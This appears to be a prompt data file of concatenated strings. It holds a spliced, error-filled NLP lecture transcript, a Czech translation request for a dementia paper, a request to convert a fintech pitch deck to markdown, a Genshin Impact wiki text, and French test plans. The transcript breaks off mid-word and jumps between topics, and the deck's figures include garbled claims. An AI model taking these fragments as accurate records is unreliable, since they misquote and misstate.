one says, anyway I could care less. And the other says, I think you mean you couldn\'t care less, saying you could care less implies you care at least some amount. And the other one says, I don\'t know where these unbelievably complicated brains drifting through a void trying in vain to connect with one another, by plainly fleeing words out into the darkness. Every choice of phrasing, spelling, and tone, and timing carries countless sync signals and contexts and subtext, and more and every listener interprets those signals in their own way. Language isn\'t a formal system, language is glorious chaos. You can never know for sure what any words will mean to anyone, all you can do is try to get better at guessing how your words affect people. So you can have a chance of finding the ones that will make them feel something like what you want them to feel. Everything else is pointless. I assume you\'re giving me tips on how you interpret words because you want me to feel less alone. If so, then thank you, that means a lot. But if you\'re just running my sentences to pass some mental checklist so you can show off how well you know it, then I could care less. OK, so that\'s ultimately what our goal is, how to do a better job at building computational systems that try to get better at guessing how their words will affect other people and what other people are meaning by the words that they choose to say. So an interesting thing about human language is, it is a system that was constructed by human beings. And it\'s a system that was constructed relatively recently in some sense. So in discussions of artificial intelligence, a lot of the time people focus a lot on human brains and the neurons passing by, and this intelligence that\'s meant to be inside people\'s heads. But I just wanted to focus for a moment on the role of language, there\'s actually-- this is kind of controversial but it\'s not necessarily the case that humans are much more intelligent than some of the higher apes like chimpanzees or bonobos. So chimpanzees and bonobos have been shown to be able to use tools, to make plans, and in fact chimps have much better short term memory than human beings do. So relative to that, if you look through the history of life on Earth, human beings develop language really recently. How recently, we kind of actually don\'t know because there\'s no fossils that say, OK here\'s a language speaker. But most people estimate that language arose for human beings sort of somewhere in the range of 100,000 to a million years ago. OK, that\'s the way I let go but compared to the process of the evolution of life on Earth, that\'s kind of blinking an eyelid. But that powerful communication between human beings quickly set off our ascendancy over other creatures. So it\'s kind of interesting that the ultimate power turned out not to have been poisonous fangs or being super fast or super big, that having the ability to communicate with other members of your tribe. It was much more recently again that humans developed writing, which allowed knowledge to be communicated across distances of time and space. And so that\'s only about 5,000 years old, the power of writing. So in just a few thousand years the ability to preserve and share knowledge took us from the Bronze Age to the smartphones and tablets of today. So a key question for artificial intelligence and human-computer interaction is how to get computers to be able to understand the information conveyed in human languages. Simultaneously, arti What GPT-3 is about and why it\'s great is actually a bit subtle, and so I can\'t really go through all the details of this here but it\'s exciting because it seems like it\'s the first step on the path to what we might call universal models, where you can train up one extremely large model on something like, that library picture I showed before, and it just has knowledge of the world knowledge of human languages knowledge, of how to do tasks. So that the meaning of the word chair is the set of things that are chairs. And that\'s referred to as denotational semantics. A term that\'s also used and similarly applied for the semantics of programming languages. This model isn\'t very deeply implementable, like how do I go from the idea that chair means the set of chairs in the world to something I can manipulate meaning with my computers. So the kind of if you had a high school English dictionary it probably have about 250,000 words in it, but there are many, many more words in the language really. So maybe we at least want to have a 500,000 dimensional vector to be able to cope with that. OK, but the bigger the even bigger problem with discrete symbols is that we don\'t have this notion of word relationships and similarity. We\'ll find a bunch of places where banking occurs in text, and will collect the sort of nearby words that context words and we\'ll see and say that those words that are appearing in that kind of muddy brown color around banking, that those contexts words will in some sense represent the meaning of the word banking. So in this sort of overall picture, I can zoom into one part of the space, is actually the part that\'s up here and this view of it. And it\'s got words for countries, so not only are countries generally grouped together, even the sort of particular sub groupings of countries make a certain amount of sense. So we have a piece of text, we choose our center word which is here in two and then we say, well, if a model of predicting the probability of context words given the center word and this model, we\'ll come to in a minute, but it\'s defined in terms of our word vectors. So let\'s see what probability it gives to the words that actually occurred in the context of this word. Now at this point there\'s a little technical point, we\'re actually going to give to each word, two word vectors. One word vector for when it\'s used as the center word, and a different word vector when that\'s used as a context word. This is done because it just simplifies the math and the optimization, that seems a little bit ugly that actually makes building word vectors a lot easier, and really we can come back to that and discuss it later. So most of the probability goes to the most similar things, and it\'s called soft because well, it doesn\'t do that absolutely. It\'ll still give some probability to everything that\'s in the slightest bit similar-- I mean, on the other hand it\'s a slightly weird name because max normally takes a set of things and just returns one the biggest of them, whereas the softmax is taking a set of numbers and scaling them, that is returning the whole probability distribution. are the components, the dimensions of the word vectors of every word. And so we have the center word vectors and the outside word vectors. So here I\'m just going to do the center word vectors but on homework-- on a future homework assignment two, the outside word vectors will show up and they\'re kind of similar. Most of the time you can justify it perfectly well by thinking about what happens with one dimension at a time, and it generalizes to multivariable calculus. So if about all that you remember of calculus is that d dx of ax equals a, really it\'s the same thing that we\'re going to be using here. That here we have the outside word dot producted with the VC. So we then taking the derivative of this, and so then the derivative of exp is itself, so we\'re going to just have exp of the UXTVC times there\'s is a sum of X equals 1 to V times the derivative of UX TVC. OK, and so then this is what we\'ve worked out before, we can just rewrite as UX. OK, so now we\'re making progress. It\'s a package that\'s often used for word vectors, it\'s not really used for deep learning. So this is the only time you\'ll see it in the class, but if you just want a good package for working with word vectors and some other application it\'s a good one to know about. OK so then in my second cell here I\'m loading a particular set of word vectors. Actually that by itself isn\'t very useful because when you just ask for most negatively similar to things, you tend to get crazy strings that were found in the data set that you don\'t know what they mean if anything. But if we put the two together, we can use the most similar function with positives and negatives to do analogies. Can I ask a quick question about the distinction between the two vectors per word? Yes. So my understanding is that there can be several context words per word in the vocabulary, but then there\'s only two vectors I thought the distinction between the two is that one it\'s like the actual word and one is the context word. sort of get like the rule of or the C of O or something like that. And so I\'m wondering, is there-- are there relationships between those relational vectors themselves such as, like is the rule of vector sort of similar to the C of O of vector which is very different from like-- makes a good sandwich with vector. is this quarter there\'s also a speech class being taught, which is CS224S, a speech class being taught by Andrew Maas, and you know this is a class that\'s been more regularly offered, sometimes it\'s only been offered every third year, but it\'s being offered right now. So if what you want to do is learn about speech recognition and learn about sort of methods for building dialogue systems, you should do CS224S. That\'s not the end of the story, I mean absolutely people wanted to use neural networks for sentiment and other kinds of sort of connotation effect. And there are very good ways of doing that, but somehow you have to do something more than simply predicting words and context because that\'s not sufficient to capture that dimension, more on that later. Things and I\'ll mention that on Thursday. Right, OK, thank you. I was asking for more information about how word vectors are constructed beyond the summary of random initialization. And then gradient based additive [INAUDIBLE].. Yeah, so I sort of will do a bit more connecting this together in the Thursday lecture, I guess to sort of-- I mean so much one can fit in the first class, but the picture is essentially the picture I showed the pieces of."\nPat-2 is coming, wait here' +'Přelož následující text do češtiny, pokud možno co největší kus textu najednou:\n\n4.\u2003RESULTS\nThe current demographic trend dramatically changes the number of elderly people. This aging trend of the population is the cause of increasing diseases occurring in elderly people, such as dementia. Dementia represents a diverse category of syndromes that characterize a deficit in memory, cognitive function and behavior (9). Cognitive impairment of people with dementia may limit their ability to communicate effectively (10). Dementia is a term used to describe a group of brain disorders that have a profound impact on an individual’s life (11). Currently, the leading cause of dementia is Alzheimer’s disease, vascular disease and Levi’s disease (12).\n\nIt is estimated that the prevalence of dementia is about 6% to 10% of persons older than 65 years. Prevalence increases with age, rising from 1% to 2% among those aged 65 to 74 years to 30% or more in those older than 85 years (13). At age of 90 to 94, 40% of people have dementia, with a prevalence of dementia being 58% among individuals older than 94 (14). Vascular dementia is considered as the second major form of dementia (15), or the other most common form of dementia (16). Her frequency is different from dementia caused by Alzheimer’s disease, which is 10-20% of cases (15). Some researchers estimate that dementia due to Levi’s disease accounts for 15% to 20% of all cases of dementia (17). It seems that the symptoms associated with dementia distributed over the continuum, affect the health of older adults and deserve intervention (18).\n\n4.1. COMMUNICATION AND COMMUNICATION DIFFICULTIES\nLanguage performance is both influenced by normal aging and by development of dementia (19). Dementia is defined as memory impairment with the impairment of at least one other cognitive function such as language (aphasia) or executive function (for example: planning, attention and abstract understanding) (15). Cognitive and daily functioning decline are the primary symptoms of dementia (20). Difficulties related to communication are among the earliest symptoms of dementia (21). Loss of linguistic abilities is common symptom among people with dementia, who may precede other aspects of the cognitive decline (22). Language difficulties are a major problem for most patients with dementia, especially as the disease progresses and goes from moderate to severe stage (23). Early signs that communication of a person with dementia is affected are the difficulties of word finding, especially when naming people or objects. A person can replace the word with the wrong one or not find a substitute at all (24). As the disease progresses, it leads to forgetting names of family members, friends, confusion about family relationships, and often affected persons no longer recognize members of their family (24).\n\nResearchers around the world discuss theories about the presence of semantic and perceptual lacks in order to explain the appearance of language disorders in Alzheimer’s dementia (25). Dementia, such as the one resulting from Alzheimer’s disease, involves progressive degradation of language function (26). Language deficiencies are evident in all patients with Alzheimer’s disease: they achieve significantly lower results in the area of verbal expression, hearing comprehension, repetition, reading and writing. Syntax and phonology remain relatively intact, but semantic abilities are impaired (27). Patients with dementia, especially associated with Alzheimer’s disease, have difficulties with participation in communication as well as in the area of understanding, speaking fluency, comprehensiveness, word production, syntax and verbal feedback, while nonverbal communication is mostly preserved (understanding of gestures, facial expression, gesture use) (28).\n\nMultiple cognitive domains, including language and communicative function are affected by vascular dementia (29). Patients with vascular dementia usually have dysarthria with variable abnormalities of the language (30). The main characteristics of speech and language in people with Alzheimer’s dementia include: difficulties in finding words for objects, difficulties with naming, understanding difficulties, and a louder voice when speaking. In vascular type dementia, to previously mentioned are added incomprehensible speech and reduced complexity of the sentence (31). Characteristics of language degradation in Alzheimer’s dementia are compared with those of various aphasic syndromes (25).\n\nLanguage disorders can be perceived as a weak language system, which includes difficulties in finding words, recalling words or anomia (32). People with dementia use less words, less common words, less prepositional phrases, less depending clauses, and more incomplete fragmented sentences. The lexical deficits tend to be more difficult than the syntax deficits, which confirms the assumption that lexicon of people with dementia is more sensitive than syntax (33).\n\nThe American Speech-Language-Hearing Association (ASHA) prescribes the role of speech-language pathologists/therapists in identifying, assessing, intervening, counseling, cooperation, management, education, advocacy and research of people with dementia (34). It is important to understand that dementia affects the communication of the person with dementia, but it is also necessary to adapt the communication of other persons, persons from the environment that are involved in care. Care for people with dementia requires specific communication skills (35). Communication is key to provide good care for a person with dementia (10). Treatment strategies aimed at increasing attention and understanding and simplifying conversation will improve communication skills between people with dementia and care providers (Ross, Cummings and Benson, 1990). Health professionals and family caregivers usually get little training that enables them to meet the communication needs of people with dementia (35). Limited abilities to communicate effectively can affect the ability of caregivers to identify the needs of people with dementia (10).\n\nThe Alzheimer’s Association Sugden-Best suggests strategies to promote effective communication with a person with dementia (10): Always access the person with dementia from the front; Make sure you look at a person when you talk to him or her; Give the person some signs, as touching hand, or use the person’s name before you start the conversation; Ensure that the environment is calm and free of disturbance; Use simple language and speak slowly; Use short and simple sentences; Talk to a person with dementia as an adult and do not speak in the presence of a person as if he or she is not present; Give enough time to process information and to respond; Try to let the person with dementia to complete their thoughts and make choices with the words; Avoid guessing what the person with dementia is trying to say; Encourage an individual to write a word that he or she is trying to express and to at loud; It might be useful to use a pictogram that uses image views; A person with dementia can be useful to “fill in” answers to questions such as “I need” or “I want” just by showing the appropriate picture; Use proper facial expressions, sometimes it may seem exaggerated, for example to smile when talking about happy events, but do it; Do not correct the person with dementia if he or she is making mistakes; Do not stress the person with dementia to respond; Encourage an individual to use any way of communication he or she feels comfortable with, for example, gesture or writing; Use touch to help concentrate, to set up another way of communication and offer security and encouragement; Avoid confrontation and conflicts with people with dementia.\n\nTraining/instruction of communication skills related to the care of people with dementia significantly influences the communication of professional and family caregivers, their skills, abilities and knowledge, improves the quality of life and well-being of people with dementia and increases positive interaction in different care settings (35).\n\nGo to:\n5.\u2003CONCLUSION\nDementia is a rapidly growing unit, as the society is getting older we can expect an increasing number of people with dementia. If not affected, then as a potential caregivers or at least the neighbors of the person with dementia, we can provide dementia friendly society only with a certain knowledge. In order to promote cognitive functioning and independence among older adults, public health interventions should also facilitate early detection and treatment of dementia. Communicative (speech and language) difficulties, which are one of the groups of accompanying symptoms of dementia, should be recognized as a consequence of neural degradation in order to provide the necessary help in time. Communication is a very important segment of every person’s life, we use it to actively participate in society, pass on our wishes and needs, and share attitudes, knowledge and experience with other members of the community. Previous indicates the importance of ensuring the ability to communicate and adjust the communication system if needed. Speech and language pathologists/therapists should be actively involved in treating people with dementia through direct contact with affected persons for maintaining communication skills or finding compensation strategies as well as working with their caregivers to teach them how to communicate more adequately.' +'Convert this to a well structured markdown document:\nThe Secured Loan Made Easy\nWith Sureti you get a loan in 10 days\nusing your house as a collateral\nFundamentally Different\nHigh-value loan size instead of\nmicro-credits.\nStrong collateral instead of\nfactoring.\nFunding initially from deposits\ninstead of institutional debt.\nSURETI IS A FUNDAMENTALLY DIFFERENT\nFINTECH\nThe Problem\nNo pressure to innovate and to expand the\nmarket is consequence of the oligopolistic\nnature of LATAM banking industry\nBanks Density\n(Number of banks per each million people)\nhttps://www.helgilibrary.com/indicators/number-of-banks/\nThe Problem\nFinancial Inclusion Vs Banks RoA -\nhttps://polymathv.com/library/articles/thriving-fintech-ecosystem-driving-financial-inclusion-latin-america\nLATAM has the lowest financial inclusion while\nbanks have the highest returns\nBanks Return On Assets Vs Financial Inclusion\nInformal loans\n3x bigger than formal market.\n30% of SME in LATAM\nlack of access to formal credit\nhas a major impact.\nThe Problem\nLatin Americans have access to shorter terms\nand early payments decrease evenmore the\neffective maturity term.\nhttps://www.gob.mx/fovissste/articulos/15-anos-en-promedio-pagan-acreditados-del-fovissste-sus-hipotecas?idiom=es\nhttps://www.oecd-ilibrary.org/docserver/f97d7fe0-en.pdf?expires=1679926917&id=id&accname=guest&checksum=1E576506EFAD3FFA896618672C53747D\nEffective term in\nColombia is 7 years\nValue of the homes without debt in LATAM\nCEPAL: https://www.cepal.org/es/inclusion-financiera-pymes/antecedentes - least use of collateral, 30% impact for SME\nPOLUMATH https://polymathv.com/library/articles/thriving-fintech-ecosystem-driving-financial-inclusion-latin-america - informal loans and informal lending and savings clubs\nFree of Debt https://www.dane.gov.co/files/investigaciones/condiciones\\_vida/calidad\\_vida/Boletin\\_Tecnico\\_ECV\\_2018.pdf\nThe Opportunity\nTo drive inclusion, we are unlocking\nthe value of assets\nUS$900B\nThe Market\nTAM: Loan Market is $3,800B in LATAM\nLatam Loan Market https://www.ceicdata.com/en/indicator/colombia/domestic-credit\nFinancial Inclusion 30% of need of Working Capital: https://www.cepal.org/es/inclusion-financiera-pymes/antecedente\nFormal Credit – CEPAL -https://repositorio.cepal.org/bitstream/handle/11362/47813/S2200090\\_es.pdf?sequence=1&isAllowed=y\nHome equity loan is calculated based on Colombian figures and each country population and credit access.\nhttps://www.dane.gov.co/files/investigaciones/condiciones\\_vida/calidad\\_vida/2020/comunicado-ECV-caracterizacion-2020.pdf\nSAM:\n$206 Billion\n• Home backed loans: $169B\n• Other assets: $37B\n6,7 million\nSlow Process:\nCollateralization takes 3 months.\nWhy others have not seen it\nCumbersome paperwork\n3 public documents of the collateral that\nusers cannot find.\nCostly Origination\n5% of the loan size. \nThe Solution\n10 days process\nIntroducing tech to an analog process.\nJust with the user’s ID\nWe are automating the nitty-gritty of the\npaperwork and doing it on behalf of the user.\nZero Origination costs\nWe are digitalizing the analysis of the asset\nhistory and current asset status.\nSURETI is driving financial inclusion by\nunlocking the value of assets\nREAL ESTATE\nCOLLATERAL\nWe created a system to\ndo the mortgage and\ndisburse the loan in 10\ndays.\nBEST IN CLASS\nAPP\nWe create our own\ntechnology that allows to\noperate the loans 30%\nmore efficiently.\nUNIQUE MODEL FOR\nDEPOSITS\nWe build a solution to\nallow people to invest,\nand earn monthly\nreturns.\nWhat we have done\nHigh-Value\nLoans\nLTV/CAC: 4.0\nCost to serve 30%\nlower than micro\nloans.\nStrong Unit\nEconomics\n2.6\nCoverage\non Real\nEstate\nCollaterals\nNO BAD DEBT\nHigh liquid assets.\n$6M in asset value.\nStrong\nCollateral\nUS$10.000\nAverage\nDeposit per\nUser\n185% NET DOLLAR\nRETENTION\nRisk is accepted by\nthe user.\nCost of\nFunding\n30x faster\nthan other\nfintech and\nbanks\n10 DAYS\nDISBURSEMENT\nTIME\nRemoving the\nnitty-gritty of the\nprocess.\nProduct-led\nGrowht\nDriving competitive advantage against other\nfintech and banks.\nCost of Serve of reference is from NU BANK Q3 2022 Earnings Presentation\nNO Origination Fees.\nNO Commissions.\nUnique Business Model\nSURETI’s MRR is the difference between the interest\npaid by each loan and the cost of funding/deposits.\nUnique business model that generates\nMonthly Recurring Revenues\nTraction & Validation\n$21,105\n3x Growth in MRR\nGrowth in 59 out of past 6 weeks (93%).\n$6,303\n114\nActive Loans\n$2.7M\nLoans\n$7M\nAsset Valuation\n319\nActive Deposit\nUsers\n188%\nNet Dollar\nRetention\n0.76%\nSpread\nFigures updated up to 27th of March\nTraction & Validation\n2% Compound Weekly\nGrowth Rate for MRR\nDuring the last year\n$6.303\nFigures updated up to 27th of March\nMRR Weekly Growth Rate\nLOANS\nCompounding effect by increasing active\nloans while increasing spread\nLOANS\nSureti is in the sweet spot of demographics\n65% of our users do not have access\nto formal credit even though they\nhave a real estate asset.\n85% of our users are\nvulnerable and mid class.\nLOANS\n$6.5M\n$2.5M\n2.6 Loan\nCoverage\n5% is under legal\ncollection\nLOAN\nWhy users love Sureti?\nRapid and easy\nUsers get the disbursement in less than 10 days. Sureti in\ncharge of the nitty-gritty of the process.\nLess cash needed\nUsers manage the repayment themselves through the app.\nZero Origination Fees\nUsers received 100% of the loan amount without discounts or\nhidden costs. \nChannel Acquisition & Unit Economics\nLOAN\nChannel Mix: Alternative channels to tackle\ninformality\nDigital Paid 63%\nFreelance\nConsultants 4%\nOn the street\nFreelance 20%\nReferrals 13%\nNew channel\nNo incentives\nSimilar CAC\nUnit Economics\nStrong unit economics driving competitive\nadvantage against both incumbents and fintech \nUnit Economics\nHigh efficiency and excellent execution\nof the capital raised\nFrom Jan to Dec 2022.\nCash Burn: $78K\nNew Revenue: $53K\nCapital Raised: $100K in Feb and $100k in Oct.\nTotal ARR: $117K\nBurn Multiple\n1,46\nHype-Factor\n1,70\nDepositors/Investors\nDeposit users has been Sureti’s entry point to\nfund the loans.\nDEPOSITS\nChurn Nuevos Retention Expansion Contraction Smile\nThe Team and Next Steps\nTHE TEAM\nAndres and his family have 20\nyears of experience in secured\nloans with real estate assets.\nCarlos has design and\ndeveloped software for over\n14 years.\nSEED ROUND\nTHE ASK $1.1M\nBogota\nTraction\nLATAM\nBank\nLicense\nUnited\nStates\nWorldwide\nLeader in\nSecured Loans\nColombia\nInstitutional\nDebt\nMilestones to reach $1.9M ARR in 18 months:\n• Disbursement time to 5 days and risk engine.\n• Footprint in 7 cities.\n• 2 New credit lines, cars and payroll.\n• Structuring debt financing\nCAP: $6M\nThe Secured Loan Made Easy' +'First, I would like to introduce you place where Filon will go in that chapter.\n\nInazuma (Japanese: 稲妻 Inazuma) is one of the seven regions in Teyvat. It is an archipelagic region that worships Raiden Shogun, the Electro Archon, who is also the leader of its governing body, the Inazuma Shogunate. Inazuma is located approximately 4 km southeast from Liyue Harbor and is a close neighbor with the Dark Sea.[2]\n\nIn the past year relative to the current events of the game, the situation in Inazuma has made a drastic turn towards isolationism, locked down under the Sakoku Decree. "Baal" also enacted the related Vision Hunt Decree, declaring that Visions, as gifts from the gods, should be in the sole hands of divinity — and is now rounding up all Visions in Inazuma to inlay them in the hands of a statue of the Thousand-Armed, Hundred-Eyed God.[3]\n\nAtsuko, an Inazuman who defected to Liyue, describes the country as having a "tense" and "dangerous" environment and discourages traveling there; she also remarks that the Kanjou Commission, one of the Tri-Commission, conduct many assessments that citizens must pass in order to be given permission to leave Inazuma. She bypassed those assessments by making her own raft and fleeing to Liyue. However, the Fatui seem to be able to freely enter and exit due to their diplomatic immunity.[Note 1] \n\nThe Inazuma archipelago is sub-divided into three main factions: the islands ruled by the Raiden Shogun (Narukami Island, Kannazuka, Yashiori Island, and Seirai Island), Watatsumi Island which worships Orobashi, and Tsurumi Island which was destroyed by Kanna Kapatcir in the distant past and has largely been uninhabited since.\n\nWhile these islands are all considered part of Inazuma, the geographical and cultural makeup of these areas are vastly different. \n\nLife in Inazuma\n\nLife in Inazuma prior to the Ei\'s Vision Hunt and Sakoku Decree is unknown, but Paimon states that Inazuma did not have any problems the year before she began accompanying the Traveler.[1] After Ei issued her decrees, life in the region took a drastic turn for the worse for all, as available resources in the nation dropped and very few goods were imported in, forcing many businesses to look for alternate methods. Crime is particularly rampant in Inazuma\'s wilderness, with large numbers of Treasure Hoarders and ronin like Nobushi and Kairagi.\n\nAtsuko, a native of Inazuma, stated that Inazuma has a very tense and dangerous atmosphere.[2] Bibo likewise considers it to be very dangerous, claiming that while he can get anything at the right price, he refuses to get any Inazuman products.[3]\n\nFollowing the abolishment of the Vision Hunt Decree and expulsion of corrupt officials, life began to slowly improve for the better, although the Sakoku Decree meant that the economy was still struggling. After Ei abolished the Sakoku Decree, life took a turn for the better as the nation is finally able to conduct general trade and an outpouring of foreign visitors.\n\nBake-Danukis are known to live in Inazuma, who enjoy pranking passersby by pretending to offer food and shelter, disguising it as leaves and mud.[4] While humans are still the most predominant inhabitants of Inazuma, youkai such as tengu, oni and kitsune also reside in Inazuma; however, like the adepti of Liyue, few remain and most live in seclusion.\n\nInazuman samurai society often revolves around an honor system of sorts; samurai families, being relatively common in Inazuma, have an immense amount of pride and honor, often sending their children to serve in the Shogun\'s armies to glory and fame. Samurai are known to engage in duels from time to time. They are particularly prideful of their own skills; being bested in battle or duel by another or being helped by an outsider is typically considered to be shameful.[5]\nAgriculture\n\nWatatsumi Island has historically had very poor soil for growing crops, which was a primary motivating factor for the Narukami-Watatsumi War at the end of the Archon War. According to legend, Enkanomiya is constantly trying to pull the spirit of Watatsumi Island into the depths, causing soil erosion and bleaching that turns it into "Holy Soil." The Watatsumi Mitama Omatsuri is a ritual performed to stave off the spread of Holy Soil. Tsuyuko, a shrine maiden who studied at Sumeru Akademiya, believes that "Holy Soil" is actually caused by the salinity and alkalinity of the seawater encroaching on the island, which leaches nutrients from the soil.[6]\n\nOther islands appear to be having a similar issue, as Konda Village of Narukami Island has difficulty in trying to grow crops.\n\nMany Lavender Melon trees can be found across Inazuma\'s islands. While Sunsettia and Apple trees cannot be found in Inazuma\'s overworld, this seems to be a purely gameplay phenomenon: the Expedition reward for Byakko Plain includes Sunsettias, which indicates that Sunsettias can be found in Inazuma\'s wilds.\nArchitecture\n\nInazuman buildings and furnishings typically make use of Aralia, Maple, Otogi or Yumemiru Wood. Yumemiru wood is typically used for creating shrines.\nCuisine\nMain page: Category:Inazuma Dishes\n\nAccording to Chongyun, authentic Inazuman cuisine is ice-cold fresh and can take the exhaustion away from a day of hard training.[7] Seafood plays an important role in Inazuman cuisine, such as sushi and tempura. Other foods include poultry like Imported Poultry, ramen, dango, and egg rolls.\nTechnology\n\nThe Maguu Kenki originate from Inazuma. They are magical autonomous puppets that use the powers of Cryo and Anemo, having been created by unknown people to mimic the Iwakura Clan sword arts.\n\nOnmyoudou was also developed in Inazuma by Kamuna Harunosuke. While mostly forgotten, traces of it still exist in legends and by the Kairagi, who utilise shikifuda to elementally infuse their swords despite not having a Vision.\nDuels\n\nA Duel Before the Throne is a traditional Inazuman duel between two combatants that is fought in Tenshukaku and witnessed by the Shogun.\n\nIf someone has a disagreement with another party or feels that they have been slighted in some way, they can challenge the offender to a duel before the throne. The two parties will travel to Tenshukaku and present their case to the Raiden Shogun. If the Shogun gives them the clearance to engage in combat, then they will begin fighting until someone is unable to duel any further. These duels always end in the death of one of the combatants. The loser is either killed by a lethal blow, or if they survive the duel, executed by the Musou no Hitotachi.\n\nTwo notable duels have been referenced so far. Kazuha\'s Friend challenged the Raiden Shogun to a duel for instituting the Vision Hunt Decree, and Kujou Sara accepted on her behalf. He ultimately lost the duel and was executed. Later, during Duel Before the Throne in the Omnipresence Over Mortals Archon Quest, the Traveler challenged Signora to a duel in an attempt to stop the Fatui from taking over Inazuma and also as an act of revenge for her stealing Venti\'s Gnosis. A hard battle was fought, and ultimately, Signora was defeated and executed by the Musou no Hitotachi.\nArts\nIkebana\n\nIkebana is the art of arranging flowers to create a floral courtyard. Current known practitioners are Kamisato Ayaka and Fushizome. \n\nEconomy\n\nBook printing appears to be one of the main trades in Inazuma, in part due to the Yae Publishing House, who are known throughout Teyvat as the giant in the printing industry. They occasionally host the "This Novel is Amazing!" contest.\n\nPrior to the Sakoku Decree, Inazuma frequently exported toys, fireworks and kimonos. After the Shogun issued the decree, only ships affiliated with the Kanjou Commission could bring items in and out, resulting in less trade domestically and internationally. Even then, the fierce storms generated by the Shogun meant that few ships dared to brave them and many goods were lost in the process. Fishing also saw a decline as the Tenryou Commission saw boats of all sizes as escape vessels. After the Sakoku Decree was abolished, all of these are slowly returning to pre-decree levels.\n\nLike Liyue, Inazuma also possesses a mining and smithing industry. Jakotsu Mine and the Mikage Furnace are well known in Inazuma, but the former closed after a "sickness" spread throughout the island, while the latter closed after the core went critical, threatening to leak Tatarigami energy until it was fixed, but even then, many are still hesitant to return. Inazuman swords are particularly well known due to the use of Jade Steel, a special material from Tatarasuna, although production has since halted following the peace treaty between Watatsumi and the Shogunate. \n\nPolitics\n\nThe Shogun is assisted by a group known as the Tri-Commission by its people; they act similarly to the collective of the Liyue Qixing and the Eight Trades, with each commission handling different responsibilities.[8][Note 1]\n\nThe Tri-Commission consists of three commissions; the Kanjou, Tenryou and Yashiro Commission. Each one tends to their own duties and are led by a prestigious clan the Hiiragi, Kujou and Kamisato Clan respectively.\n\nThe Kanjou Commission handles the nation\'s borders, checking documents of both foreigners and returning citizens. They were originally led by Hiiragi Shinsuke, who was dismissed for his role in the Fatui plot.\n\nThe Tenryou Commission handles the nation\'s security from all internal and external threats. They were originally led by Kujou Takayuki, who was dismissed for his role in the Fatui plot. Similarly to Shinsuke, an official successor has not been declared, although Kujou Sara currently fills the role.\n\nThe Yashiro Commission handles the management of shrines, festivals and cultural events, being the most connected to the people. They are currently led by Kamisato Ayato. Outside of this, Ayato is also responsible for handling corrupt officials and the Shuumatsuban, a ninja organization that directly answers to him. The Shuumatsuban handle clandestine operations such as intelligence gathering and counter-ops.\n\nWatatsumi Island is a unique outlier in that the island is mostly governed by the Divine Priestess of the Sangonomiya Clan due to the islanders\' worship of Orobashi instead of Ei. The current Divine Priestess is Sangonomiya Kokomi.\n\nPrior to the Traveler\'s arrival in Inazuma, Ei had enacted both the Vision Hunt and Sakoku Decree as she felt that they aligned with her ideals of eternity at the time. In reality, this was a Fatui plot intended to cause instability in the nation and market their Delusions, convincing both Shinsuke and Takayuki to collude with them. Takayuki would feed the Shogun false information about the war while Shinsuke would provide the Fatui with Crystal Marrow. While the Kamisato siblings were suspicious of the unusual circumstances, their lack of influence and the potential consequences did not result in much activity. The resulting Vision Hunt Decree caused a civil war between the Watatsumi Army and the Shogunate.\n\nWhen the Traveler arrived, they were able to discover the whole truth of the plot and with the assistance of Yae Miko, convinced Ei to start listening to her people\'s wishes. After learning the full extent of the Fatui plot, she stripped both Shinsuke and Takayuki of their positions and roles, placing them under house arrest. The civil war subsequently concluded and talks were held between the Shogunate and Watatsumi Island. While spending more time with the Traveler,[9][10] Ei came to realize that her beliefs had been wrong from the start and decided to take a more active role in giving her people the happiness they deserved, abolishing the Sakoku Decree.\nMilitary\n\nInazuma has three military forces - the Shogun\'s Army, the Watatsumi Army and the Shuumatsuban. The Shogun\'s Army is the primary army of Inazuma; the Watatsumi Army simply upholds order on their lands while the Shuumatsuban is a clandestine force.\n\nThere are some ranks in the Shogun\'s Army - recruits, captains and samurai. Polearms are the common weapon of choice for non-samurai, while samurai exclusively use swords and bows, given that the art of the sword is highly regarded in the nation.[11]\nMotto\n\nOne of the national mottos of Inazuma (especially one during military campaigns) is "Glory to the Shogun and her everlasting reign!"[12][13][14]\n\nThe corresponding motto in the Japanese localization and the Chinese original can be translated as "The one who hath spread the unchanging way is the eternal Narukami!", where the "unchanging way" means the unconditional truth of life and the universe, while Narukami ("Thundering God" or lit. "Roaring God") is a title of the Raiden Shogun (Japanese: 常道を恢弘せしは、永遠なる鳴神なり！ Joudou wo kaikou seshi wa, eien naru Narukami nari!; Chinese: 常道恢弘，鸣神永恒！ Chángdào huīhóng, Míngshén yǒnghéng!, lit. "The unchanging way [is] immense, Narukami [is] eternal!").[Note 2]\nReligion\n\nCompared to Mondstadt and Liyue, Inazuma\'s religious devotion is much more visible in their culture, as Shogunate-held islands worship the Shogun. The people of Watatsumi Island worship Orobashi instead.\n\nA long time ago, a group of islanders on Tsurumi Island worshipped Kanna Kapatcir, calling her the Thunderbird. Due to unusual circumstances surrounding the island, they did not have any contact with the rest of Inazuma, as they believed that certain death awaited those who traversed the foggy ocean. This tribe was wiped out after Ruu sacrificed himself to appease the Thunderbird when he felt that the situation on the island was becoming worse.' +'voici mes anciens plan de tests pour différentes fonctionnalités de saphir\n❌ ✔\nAucun problèmes rencontrés\nIncohérence rencontrés :\nProblèmes rencontrés :\nTests effectués:\nAffichage du tootlip sur les donneurs d\'ordre ✔\nInformations présentent :\n adresse de facturation ✔ pas affiché si n\'existe pas\n numéro de téléphone ✔ pas affiché si n\'existe pas\n nom ✔\n alias ✔\n finess ✔\nOuverture de la fenetre de gestion des séries depuis \n - une série \n - un transport unique\n - un nouveau transport \n ✔ "Date de fin" vide\nBouton "Récupérer la date de fin de l\'année actuelle" ✔ la date est bien saisie et prise en compte dans l\'affichage\nCreation/modification de séries ✔\nAffichage du bandeau Carius dans tripList ✔\nAffichage de la 1er modal d\'acceptation \n une série de transport\n un transport unique\n aller retour\n aller simple\n✔ Les infos sont présentes\nAcceptation ✔ la ligne est directement réaffiché avec les informations du client\nRefus ✔ \nAffichage de la 2nd modal d\'acceptation ✔ Les infos sont présentes\nAcceptation ✔ Les transport sont bien ajouté dans Saphir\njuste le cas de la valeur d\'enum CariusServiceFamilly MedicalImaging \nAffichage dans la liste des missions d\'une intervention reçut de Rubis \n - Ambulance\n - VSL\n - ASSU\n - TPMR\n✔ Les interventions sont affichées dans le bandeau Rubis de la liste des missions\nAffichage de la fenetre d\'acceptation des interventions précédemment reçut de Rubis ✔ Le type de véhicule et les particularité sont juste\nAcceptation des interventions garde départemental précédemment reçut de Rubis ✔ Les interventions sont ajoutées à la liste des missions\nValidation des missions venant des interventions Rubis ✔ les mission sont bien validées et les factures crées \nListe des méhodes testées\n - GetJourneyHistoryForCustomer 